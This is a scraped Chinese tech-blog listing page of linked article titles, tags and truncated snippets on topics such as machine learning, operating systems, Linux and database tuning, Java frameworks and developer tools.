<div>对于常在开源硬件界混的小伙伴,相信对市面上的一些单板计算机都不陌生,什么树莓派、香蕉派、BeagleBoneBlack、UpBoard等等,这些大多数都是采用ARMCoretx-A系列应用处理器或者更高端一些会采用x86系列处理器,无论性能或是功能都基本上可以满足现在小伙伴的需求。但是,不觉得少了点什么吗?整个被ARM围绕的世界是如此单一,我们就没有更好或者更别具一格的选择了吗?有!HiFiveU</div>
</li>
<li><a href="/article/1893651730600620032.htm"
title="机器学习基础" target="_blank">机器学习基础</a>
<span class="text-muted">dringlestry</span>
<a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>了解机器学习的基本概念,如监督学习、无监督学习、强化学习、模型评估指标(准确率、召回率、F1分数等)。机器学习(MachineLearning,ML)是人工智能(AI)的一个分支,它使计算机能够通过数据和经验自动改进,而无需明确编程。机器学习可以根据学习方式和数据的有无,分为以下几种基本类型:1.监督学习(SupervisedLearning)监督学习是一种机器学习类型,其中模型通过带标签的数据进</div>
</li>
<li><a href="/article/1893651604364652544.htm"
title="操作系统(OS)半期复习" target="_blank">操作系统(OS)半期复习</a>
<span class="text-muted">dringlestry</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>1、设计现代OS的主要目标是什么?OS的作用可以表现在哪三个方面设计现代OS的主要目标是实现方便性、有效性、可扩充性和开放性。这意味着操作系统需要提供一个直观易用的界面,使用户能够方便地管理计算机资源;同时,它还要高效地管理计算机硬件和软件资源,确保它们得到充分利用;此外,操作系统还需要具备可扩展性,以适应不断变化的硬件和软件环境;最后,开放性则要求操作系统能够与其他系统进行互操作,实现资源共享和</div>
</li>
<li><a href="/article/1893649839053402112.htm"
title="生成对抗网络(GAN):从概念到代码实践(附代码)" target="_blank">生成对抗网络(GAN):从概念到代码实践(附代码)</a>
<span class="text-muted">全栈你个大西瓜</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/1.htm">计算机视觉</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/GAN/1.htm">GAN</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E6%8A%97%E5%AD%A6%E4%B9%A0/1.htm">对抗学习</a><a class="tag" taget="_blank" href="/search/%E6%89%8B%E5%8A%BF%E8%AF%86%E5%88%AB/1.htm">手势识别</a><a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%88%90%E5%99%A8%E4%B8%8E%E9%89%B4%E5%88%AB%E5%99%A8/1.htm">生成器与鉴别器</a><a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%88%90%E5%AF%B9%E6%8A%97%E7%BD%91%E7%BB%9C/1.htm">生成对抗网络</a>
<div>第一章:计算机视觉中图像的基础认知第二章:计算机视觉:卷积神经网络(CNN)基本概念(一)第三章:计算机视觉:卷积神经网络(CNN)基本概念(二)第四章:搭建一个经典的LeNet5神经网络(附代码)第五章:计算机视觉:神经网络实战之手势识别(附代码)第六章:计算机视觉:目标检测从简单到容易(附代码)第七章:MTCNN人脸检测技术揭秘:原理、实现与实战(附代码)第八章:探索YOLO技术:目标检测的高</div>
</li>
<li><a href="/article/1893649838017409024.htm"
title="MTCNN 人脸检测技术揭秘:原理、实现与实战(附代码)" target="_blank">MTCNN 人脸检测技术揭秘:原理、实现与实战(附代码)</a>
<span class="text-muted">全栈你个大西瓜</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/1.htm">计算机视觉</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/MTCNN/1.htm">MTCNN</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E8%84%B8%E6%A3%80%E6%B5%8B/1.htm">人脸检测</a><a class="tag" taget="_blank" href="/search/%E5%8D%B7%E7%A7%AF%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/1.htm">卷积神经网络</a>
<div>第一章:计算机视觉中图像的基础认知第二章:计算机视觉:卷积神经网络(CNN)基本概念(一)第三章:计算机视觉:卷积神经网络(CNN)基本概念(二)第四章:搭建一个经典的LeNet5神经网络(附代码)第五章:计算机视觉:神经网络实战之手势识别(附代码)第六章:计算机视觉:目标检测从简单到容易(附代码)第七章:MTCNN人脸检测技术揭秘:原理、实现与实战(附代码)第八章:探索YOLO技术:目标检测的高</div>
</li>
<li><a href="/article/1893646060346208256.htm"
title="目前(2025年2月)计算机视觉(CV)领域一些表现优异的深度学习模型" target="_blank">目前(2025年2月)计算机视觉(CV)领域一些表现优异的深度学习模型</a>
<span class="text-muted">空空转念</span>
<a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E7%B3%BB%E5%88%97/1.htm">深度学习系列</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/1.htm">计算机视觉</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>按任务类型分类介绍:图像分类CoCa:结合对比学习和生成学习,通过对比损失对齐图像和文本嵌入,并使用标题生成损失预测文本标记。它在图像分类、跨模态检索和图像描述等任务中表现出色,且仅需极少的任务特定微调。PaLI:这是一个多模态模型,结合了40亿参数的视觉Transformer(ViT)和多种大型语言模型(LLM),并在包含100多种语言的100亿图像和文本数据集上进行训练。PaLI在图像描述、视</div>
</li>
<li><a href="/article/1893643916255752192.htm"
title="操作系统知识点5" target="_blank">操作系统知识点5</a>
<span class="text-muted">落——枫</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>1.从软件设计和开放角度来看,操作系统的主要作用是提供软件开放基础平台2.中央处理单元可以共享且可以被抢占使用3.只能在内核态下运行的指令是关中断指令4.被零除不是中断而是异常5.对于函数open(),它属于文件操作类系统调用6.进程具有多种状态,操作系统改变进程状态主要是通过调用进程控制原语实现7.通过连接两个进程的一个打开的共享文件,可以实现进程间的数据通信,这种通信方式称为管道通信8.在装入</div>
</li>
<li><a href="/article/1893637613693235200.htm"
title="如何使用WinSCP将文件和文件夹远程传输到本地内网Linux系统?" target="_blank">如何使用WinSCP将文件和文件夹远程传输到本地内网Linux系统?</a>
<span class="text-muted">程思扬</span>
<a class="tag" taget="_blank" href="/search/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/1.htm">内网穿透</a><a class="tag" taget="_blank" href="/search/Android/1.htm">Android</a><a class="tag" taget="_blank" href="/search/%E8%AE%B0%E5%BD%95/1.htm">记录</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E6%96%B9%E6%B3%95/1.htm">学习方法</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
<div>文章目录1.简介2.软件下载安装:3.SSH链接服务器4.WinSCP使用公网TCP地址链接本地服务器5.WinSCP使用固定公网TCP地址访问服务器1.简介Winscp是一个支持SSH(SecureSHell)的可视化SCP(SecureCopy)文件传输软件,它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件。可视化操作就是直接把文件从本机拖入,打开文件直接双击即可。软件特</div>
</li>
<li><a href="/article/1893635594517540864.htm"
title="修改阿里云服务器windows远程桌面默认端口号" target="_blank">修改阿里云服务器windows远程桌面默认端口号</a>
<span class="text-muted">自由软件开发者</span>
<a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a>
<div>默认为3389,打开系统注册表,找到如下子键:计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp然后修改PortNumber为自己要开放的端口号如果上面的没生效,修改下面的计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con</div>
</li>
<li><a href="/article/1893628160080146432.htm"
title="AI人工智能常见的专业术语" target="_blank">AI人工智能常见的专业术语</a>
<span class="text-muted">奇华智能</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/ChatGPT/1.htm">ChatGPT</a><a class="tag" taget="_blank" href="/search/LLM/1.htm">LLM</a><a class="tag" taget="_blank" href="/search/AI/1.htm">AI</a>
<div>模型(model):计算机层面的认知学习算法(learningalgorithm),从数据中产生模型的方法数据集(dataset):一组记录的集合示例(instance):对于某个对象的描述样本(sample):也叫示例属性(attribute):对象的某方面表现或特征特征(feature):同属性属性值(attributevalue):属性上的取值属性空间(attributespace):属性张</div>
</li>
<li><a href="/article/1893625891691491328.htm"
title="OceanBase 初探学习历程之二——操作系统参数最佳实践" target="_blank">OceanBase 初探学习历程之二——操作系统参数最佳实践</a>
<span class="text-muted">羽书飞影</span>
<a class="tag" taget="_blank" href="/search/oceanbase/1.htm">oceanbase</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
<div>本文章分享OB操作系统参数最佳实践值,相关参数部分来自PK项目得知,仅供参考,实际参数设置仍需结合现有设备条件及业务系统特点是否有必要如此设置,但我任务大部分场景均可用(仅本人个人观点)。1、磁盘配置[root@ob2~]#cat/etc/fstab##/etc/fstab#CreatedbyanacondaonThuAug1809:03:092022##Accessiblefilesystems</div>
</li>
<li><a href="/article/1893621227977764864.htm"
title="当你给大模型一段输入之后,它是怎么得到答案的" target="_blank">当你给大模型一段输入之后,它是怎么得到答案的</a>
<span class="text-muted">牛不才</span>
<a class="tag" taget="_blank" href="/search/000-%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">000-大模型</a><a class="tag" taget="_blank" href="/search/chatgpt/1.htm">chatgpt</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E5%BF%83%E4%B8%80%E8%A8%80/1.htm">文心一言</a><a class="tag" taget="_blank" href="/search/gpt/1.htm">gpt</a><a class="tag" taget="_blank" href="/search/llama/1.htm">llama</a><a class="tag" taget="_blank" href="/search/agi/1.htm">agi</a><a class="tag" taget="_blank" href="/search/prompt/1.htm">prompt</a>
<div>1.先把问题“嚼碎”(输入处理)比如你问:“太阳为什么东升西落?”切分知识点:模型会把这句话拆解成词汇单元(比如:“太阳”“为什么”“东”“升”“西”“落”),就像你背单词时先拆解句子。2.动用毕生所学(模型“回想”知识)大模型并不是真有一个“数据库”,而是依靠训练时海量的知识联结:(类似人类的经验积累)内在规律:从上学过的教材、论文、百科中记住过“地球自转导致太阳视运动”这个常识。猜测套路:统计</div>
</li>
<li><a href="/article/89.htm"
title="java责任链模式" target="_blank">java责任链模式</a>
<span class="text-muted">3213213333332132</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%B4%A3%E4%BB%BB%E9%93%BE%E6%A8%A1%E5%BC%8F/1.htm">责任链模式</a><a class="tag" taget="_blank" href="/search/%E6%9D%91%E6%B0%91%E5%91%8A%E5%8E%BF%E9%95%BF/1.htm">村民告县长</a>
<div>责任链模式,通常就是一个请求从最低级开始往上层层的请求,当在某一层满足条件时,请求将被处理,当请求到最高层仍未满足时,则请求不会被处理。
就是一个请求在这个链条的责任范围内,会被相应的处理,如果超出链条的责任范围外,请求不会被相应的处理。
下面代码模拟这样的效果:
创建一个政府抽象类,方便所有的具体政府部门继承它。
package 责任链模式;
/**
*
</div>
</li>
<li><a href="/article/216.htm"
title="linux、mysql、nginx、tomcat 性能参数优化" target="_blank">linux、mysql、nginx、tomcat 性能参数优化</a>
<span class="text-muted">ronin47</span>
<div>一、linux 系统内核参数
/etc/sysctl.conf文件常用参数 net.core.netdev_max_backlog = 32768 #允许送到队列的数据包的最大数目
net.core.rmem_max = 8388608 #SOCKET读缓存区大小
net.core.wmem_max = 8388608 #SOCKET写缓存区大</div>
</li>
<li><a href="/article/343.htm"
title="php命令行界面" target="_blank">php命令行界面</a>
<span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/cli/1.htm">cli</a>
<div>常用选项
php -v
php -i PHP安装的有关信息
php -h 访问帮助文件
php -m 列出编译到当前PHP安装的所有模块
执行一段代码
php -r 'echo "hello, world!";'
php -r 'echo "Hello, World!\n";'
php -r '$ts = filemtime("</div>
</li>
<li><a href="/article/470.htm"
title="Filter&Session" target="_blank">Filter&Session</a>
<span class="text-muted">171815164</span>
<a class="tag" taget="_blank" href="/search/session/1.htm">session</a>
<div>Filter
HttpServletRequest requ = (HttpServletRequest) req;
HttpSession session = requ.getSession();
if (session.getAttribute("admin") == null) {
PrintWriter out = res.ge</div>
</li>
<li><a href="/article/597.htm"
title="连接池与Spring,Hibernate结合" target="_blank">连接池与Spring,Hibernate结合</a>
<span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a>
<div> 前几篇关于Java连接池的介绍都是基于Java应用的,而我们常用的场景是与Spring和ORM框架结合,下面就利用实例学习一下这方面的配置。
1.下载相关内容: &nb</div>
</li>
<li><a href="/article/724.htm"
title="[简单]mybatis判断数字类型" target="_blank">[简单]mybatis判断数字类型</a>
<span class="text-muted">53873039oycg</span>
<a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a>
<div> 昨天同事反馈mybatis保存不了int类型的属性,一直报错,错误信息如下:
Caused by: java.lang.NumberFormatException: For input string: "null"
at sun.mis</div>
</li>
<li><a href="/article/851.htm"
title="项目启动时或者启动后ava.lang.OutOfMemoryError: PermGen space" target="_blank">项目启动时或者启动后ava.lang.OutOfMemoryError: PermGen space</a>
<span class="text-muted">程序员是怎么炼成的</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/catalina.sh/1.htm">catalina.sh</a><a class="tag" taget="_blank" href="/search/eclipse.ini/1.htm">eclipse.ini</a>
<div> 在启动比较大的项目时,因为存在大量的jsp页面,所以在编译的时候会生成很多的.class文件,.class文件是都会被加载到jvm的方法区中,如果要加载的class文件很多,就会出现方法区溢出异常 java.lang.OutOfMemoryError: PermGen space.
解决办法是点击eclipse里的tomcat,在</div>
</li>
<li><a href="/article/978.htm"
title="我的crm小结" target="_blank">我的crm小结</a>
<span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/crm/1.htm">crm</a>
<div>各种原因吧,crm今天才完了。主要是接触了几个新技术:
Struts2、poi、ibatis这几个都是以前的项目中用过的。
Jsf、tapestry是这次新接触的,都是界面层的框架,用起来也不难。思路和struts不太一样,传说比较简单方便。不过个人感觉还是struts用着顺手啊,当然springmvc也很顺手,不知道是因为习惯还是什么。jsf和tapestry应用的时候需要知道他们的标签、主</div>
</li>
<li><a href="/article/1105.htm"
title="spring里配置使用hibernate的二级缓存几步" target="_blank">spring里配置使用hibernate的二级缓存几步</a>
<span class="text-muted">antonyup_2006</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/cache/1.htm">cache</a>
<div>.在spring的配置文件中 applicationContent.xml,hibernate部分加入
xml 代码
<prop key="hibernate.cache.provider_class">org.hibernate.cache.EhCacheProvider</prop>
<prop key="hi</div>
</li>
<li><a href="/article/1232.htm"
title="JAVA基础面试题" target="_blank">JAVA基础面试题</a>
<span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%BD%E8%B1%A1%E5%AE%9E%E7%8E%B0%E6%8E%A5%E5%8F%A3/1.htm">抽象实现接口</a><a class="tag" taget="_blank" href="/search/String%E7%B1%BB/1.htm">String类</a><a class="tag" taget="_blank" href="/search/%E6%8E%A5%E5%8F%A3%E7%BB%A7%E6%89%BF/1.htm">接口继承</a><a class="tag" taget="_blank" href="/search/%E6%8A%BD%E8%B1%A1%E7%B1%BB%E7%BB%A7%E6%89%BF%E5%AE%9E%E4%BD%93%E7%B1%BB/1.htm">抽象类继承实体类</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%AE%9A%E4%B9%89%E5%BC%82%E5%B8%B8/1.htm">自定义异常</a>
<div>/* * 栈(stack):主要保存基本类型(或者叫内置类型)(char、byte、short、 *int、long、 float、double、boolean)和对象的引用,数据可以共享,速度仅次于 * 寄存器(register),快于堆。堆(heap):用于存储对象。 */ &</div>
</li>
<li><a href="/article/1359.htm"
title="让sqlmap文件 "继承" 起来" target="_blank">让sqlmap文件 "继承" 起来</a>
<span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a><a class="tag" taget="_blank" href="/search/sqlmap/1.htm">sqlmap</a>
<div> 多个项目中使用ibatis , 和数据库表对应的 sqlmap文件(增删改查等基本语句),dao, pojo 都是由工具自动生成的, 现在将这些自动生成的文件放在一个单独的工程中,其它项目工程中通过jar包来引用 ,并通过"继承"为基础的sqlmap文件,dao,pojo 添加新的方法来满足项</div>
</li>
<li><a href="/article/1486.htm"
title="精通Oracle10编程SQL(13)开发触发器" target="_blank">精通Oracle10编程SQL(13)开发触发器</a>
<span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a>
<div>/*
*开发触发器
*/
--得到日期是周几
select to_char(sysdate+4,'DY','nls_date_language=AMERICAN') from dual;
select to_char(sysdate,'DY','nls_date_language=AMERICAN') from dual;
--建立BEFORE语句触发器
CREATE O</div>
</li>
<li><a href="/article/1613.htm"
title="【EhCache三】EhCache查询" target="_blank">【EhCache三】EhCache查询</a>
<span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a>
<div>本文介绍EhCache查询缓存中数据,EhCache提供了类似Hibernate的查询API,可以按照给定的条件进行查询。
要对EhCache进行查询,需要在ehcache.xml中设定要查询的属性
数据准备
@Before
public void setUp() {
//加载EhCache配置文件
Inpu</div>
</li>
<li><a href="/article/1740.htm"
title="CXF框架入门实例" target="_blank">CXF框架入门实例</a>
<span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/webservice/1.htm">webservice</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a>
<div>CXF是apache旗下的开源框架,由Celtix + XFire这两门经典的框架合成,是一套非常流行的web service框架。
它提供了JAX-WS的全面支持,并且可以根据实际项目的需要,采用代码优先(Code First)或者 WSDL 优先(WSDL First)来轻松地实现 Web Services 的发布和使用,同时它能与spring进行完美结合。
在apache cxf官网提供</div>
</li>
<li><a href="/article/1867.htm"
title="angular.equals" target="_blank">angular.equals</a>
<span class="text-muted">boyitech</span>
<a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/AngularJS+API/1.htm">AngularJS API</a><a class="tag" taget="_blank" href="/search/AnguarJS+%E4%B8%AD%E6%96%87API/1.htm">AnguarJS 中文API</a><a class="tag" taget="_blank" href="/search/angular.equals/1.htm">angular.equals</a>
<div>angular.equals
描述:
比较两个值或者两个对象是不是 相等。还支持值的类型,正则表达式和数组的比较。 两个值或对象被认为是 相等的前提条件是以下的情况至少能满足一项:
两个值或者对象能通过=== (恒等) 的比较
两个值或者对象是同样类型,并且他们的属性都能通过angular</div>
</li>
<li><a href="/article/1994.htm"
title="java-腾讯暑期实习生-输入一个数组A[1,2,...n],求输入B,使得数组B中的第i个数字B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]" target="_blank">java-腾讯暑期实习生-输入一个数组A[1,2,...n],求输入B,使得数组B中的第i个数字B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]</a>
<span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
<div>这道题的具体思路请参看 何海涛的微博:http://weibo.com/zhedahht
import java.math.BigInteger;
import java.util.Arrays;
public class CreateBFromATencent {
/**
* 题目:输入一个数组A[1,2,...n],求输入B,使得数组B中的第i个数字B[i]=A</div>
</li>
<li><a href="/article/2121.htm"
title="FastDFS 的安装和配置 修订版" target="_blank">FastDFS 的安装和配置 修订版</a>
<span class="text-muted">Chen.H</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/fastDFS/1.htm">fastDFS</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F/1.htm">分布式文件系统</a>
<div>FastDFS Home:http://code.google.com/p/fastdfs/
1. 安装
http://code.google.com/p/fastdfs/wiki/Setup http://hi.baidu.com/leolance/blog/item/3c273327978ae55f93580703.html
安装libevent (对libevent的版本要求为1.4.</div>
</li>
<li><a href="/article/2248.htm"
title="[强人工智能]拓扑扫描与自适应构造器" target="_blank">[强人工智能]拓扑扫描与自适应构造器</a>
<span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>
当我们面对一个有限拓扑网络的时候,在对已知的拓扑结构进行分析之后,发现在连通点之后,还存在若干个子网络,且这些网络的结构是未知的,数据库中并未存在这些网络的拓扑结构数据....这个时候,我们该怎么办呢?
那么,现在我们必须设计新的模块和代码包来处理上面的问题</div>
</li>
<li><a href="/article/2375.htm"
title="oracle merge into的用法" target="_blank">oracle merge into的用法</a>
<span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/merget+into/1.htm">merget into</a>
<div>Oracle中merge into的使用
http://blog.csdn.net/yuzhic/article/details/1896878
http://blog.csdn.net/macle2010/article/details/5980965
该命令使用一条语句从一个或者多个数据源中完成对表的更新和插入数据. ORACLE 9i 中,使用此命令必须同时指定UPDATE 和INSE</div>
</li>
<li><a href="/article/2502.htm"
title="不适合使用Hadoop的场景" target="_blank">不适合使用Hadoop的场景</a>
<span class="text-muted">datamachine</span>
<a class="tag" taget="_blank" href="/search/hadoop/1.htm">hadoop</a>
<div>转自:http://dev.yesky.com/296/35381296.shtml。
Hadoop通常被认定是能够帮助你解决所有问题的唯一方案。 当人们提到“大数据”或是“数据分析”等相关问题的时候,会听到脱口而出的回答:Hadoop! 实际上Hadoop被设计和建造出来,是用来解决一系列特定问题的。对某些问题来说,Hadoop至多算是一个不好的选择,对另一些问题来说,选择Ha</div>
</li>
<li><a href="/article/2629.htm"
title="YII findAll的用法" target="_blank">YII findAll的用法</a>
<span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a>
<div>看文档比较糊涂,其实挺简单的:
$predictions=Prediction::model()->findAll("uid=:uid",array(":uid"=>10));
第一个参数是选择条件:”uid=10″。其中:uid是一个占位符,在后面的array(“:uid”=>10)对齐进行了赋值;
更完善的查询需要</div>
</li>
<li><a href="/article/2756.htm"
title="vim 常用 NERDTree 快捷键" target="_blank">vim 常用 NERDTree 快捷键</a>
<span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/vim/1.htm">vim</a>
<div>下面给大家整理了一些vim NERDTree的常用快捷键了,这里几乎包括了所有的快捷键了,希望文章对各位会带来帮助。
切换工作台和目录
ctrl + w + h 光标 focus 左侧树形目录ctrl + w + l 光标 focus 右侧文件显示窗口ctrl + w + w 光标自动在左右侧窗口切换ctrl + w + r 移动当前窗口的布局位置
o 在已有窗口中打开文件、目录或书签,并跳</div>
</li>
<li><a href="/article/2883.htm"
title="Java把目录下的文件打印出来" target="_blank">Java把目录下的文件打印出来</a>
<span class="text-muted">蕃薯耀</span>
<a class="tag" taget="_blank" href="/search/%E5%88%97%E5%87%BA%E7%9B%AE%E5%BD%95%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6/1.htm">列出目录下的文件</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E5%A4%B9%E4%B8%8B%E9%9D%A2%E7%9A%84%E6%96%87%E4%BB%B6/1.htm">文件夹下面的文件</a><a class="tag" taget="_blank" href="/search/%E7%9B%AE%E5%BD%95%E4%B8%8B%E7%9A%84%E6%96%87%E4%BB%B6/1.htm">目录下的文件</a>
<div>Java把目录下的文件打印出来
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 2015年7月11日 11:02:</div>
</li>
<li><a href="/article/3010.htm"
title="linux远程桌面----VNCServer与rdesktop" target="_blank">linux远程桌面----VNCServer与rdesktop</a>
<span class="text-muted">hanqunfeng</span>
<a class="tag" taget="_blank" href="/search/Desktop/1.htm">Desktop</a>
<div>windows远程桌面到linux,需要在linux上安装vncserver,并开启vnc服务,同时需要在windows下使用vnc-viewer访问Linux。vncserver同时支持linux远程桌面到linux。
linux远程桌面到windows,需要在linux上安装rdesktop,同时开启windows的远程桌面访问。
下面分别介绍,以windo</div>
</li>
<li><a href="/article/3137.htm"
title="guava中的join和split功能" target="_blank">guava中的join和split功能</a>
<span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
<div>guava库中,包含了很好的join和split的功能,例子如下:
1) 将LIST转换为使用字符串连接的字符串
List<String> names = Lists.newArrayList("John", "Jane", "Adam", "Tom");
</div>
</li>
<li><a href="/article/3264.htm"
title="Web开发技术十年发展历程" target="_blank">Web开发技术十年发展历程</a>
<span class="text-muted">lampcy</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a>
<div>回顾web开发技术这十年发展历程:
Ajax
03年的时候我上六年级,那时候网吧刚在小县城的角落萌生。传奇,大话西游第一代网游一时风靡。我抱着试一试的心态给了网吧老板两块钱想申请个号玩玩,然后接下来的一个小时我一直在,注,册,账,号。
彼时网吧用的512k的带宽,注册的时候,填了一堆信息,提交,页面跳转,嘣,”您填写的信息有误,请重填”。然后跳转回注册页面,以此循环。我现在时常想,如果当时a</div>
</li>
<li><a href="/article/3391.htm"
title="架构师之mima-----------------mina的非NIO控制IOBuffer(说得比较好)" target="_blank">架构师之mima-----------------mina的非NIO控制IOBuffer(说得比较好)</a>
<span class="text-muted">nannan408</span>
<a class="tag" taget="_blank" href="/search/buffer/1.htm">buffer</a>
<div>1.前言。
如题。
2.代码。
IoService
IoService是一个接口,有两种实现:IoAcceptor和IoConnector;其中IoAcceptor是针对Server端的实现,IoConnector是针对Client端的实现;IoService的职责包括:
1、监听器管理
2、IoHandler
3、IoSession</div>
</li>
<li><a href="/article/3518.htm"
title="ORA-00054:resource busy and acquire with NOWAIT specified" target="_blank">ORA-00054:resource busy and acquire with NOWAIT specified</a>
<span class="text-muted">Everyday都不同</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/session/1.htm">session</a><a class="tag" taget="_blank" href="/search/Lock/1.htm">Lock</a>
<div>[Oracle]
